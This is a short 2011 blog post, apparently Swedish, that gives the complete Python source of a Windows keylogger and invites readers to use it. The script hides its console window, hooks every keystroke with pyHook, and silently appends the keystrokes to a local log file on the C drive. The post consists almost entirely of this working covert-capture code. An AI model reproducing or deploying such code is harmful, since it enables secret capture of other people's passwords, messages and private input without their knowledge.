söndag 28 augusti 2011

Geek update - Python keylogger

My simple keylogger example written in python.
Use this to log keystrokes.



#----------------------------------------
# Simple Keylogger 1.0 Wrote by nighter
# Purpose: I needed a simple and easy
# Keylogger this was the solution.
# Revision: 1.0
#----------------------------------------
# load all modules
import pythoncom,pyHook,datetime,win32api,win32console,win32gui,os,sys
win = win32console.GetConsoleWindow()
# Make window invicible
win32gui.ShowWindow(win,0)
#--------------------------------------------
# Config Section
#-------------------------------------------
LOGGFILE="c:\\keylogg.txt"
#-------------------------------------------
# Function: OnKeyboardEvent
# Arguments: event
# Purpose: catch keyboardevents
#------------------------------------------
def OnKeyboardEvent(event):
mylog_file = open(LOGGFILE,"a")

# Problem with return and space so i handle
# Them seperatly.
if event.Key == "Return":
mylog_file.write(chr(10))
elif event.Key == "Space":
mylog_file.write(chr(32))
else:
# Convert and write all other chars.
mylog_file.write(chr(event.Ascii))
mylog_file.close()
return True
#------------------------------------------
# Check that only one instance is running
#------------------------------------------
needle=0
f = os.popen("tasklist","r")
for l in f.xreadlines():
if "python.exe" in l: needle=needle+1

# Quit if another instance is running
if needle > 1:
win32api.PostQuitMessage()

# Write timestamp
mylog_file = open(LOGGFILE,"a")
n = datetime.datetime.now()
mylog_file.write(str(n))
mylog_file.write(chr(10))
mylog_file.write("--------------------------")
mylog_file.write(chr(10))
mylog_file.close()

# create a hook manager
hm = pyHook.HookManager()
# watch for all key events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Inga kommentarer:

Skicka en kommentar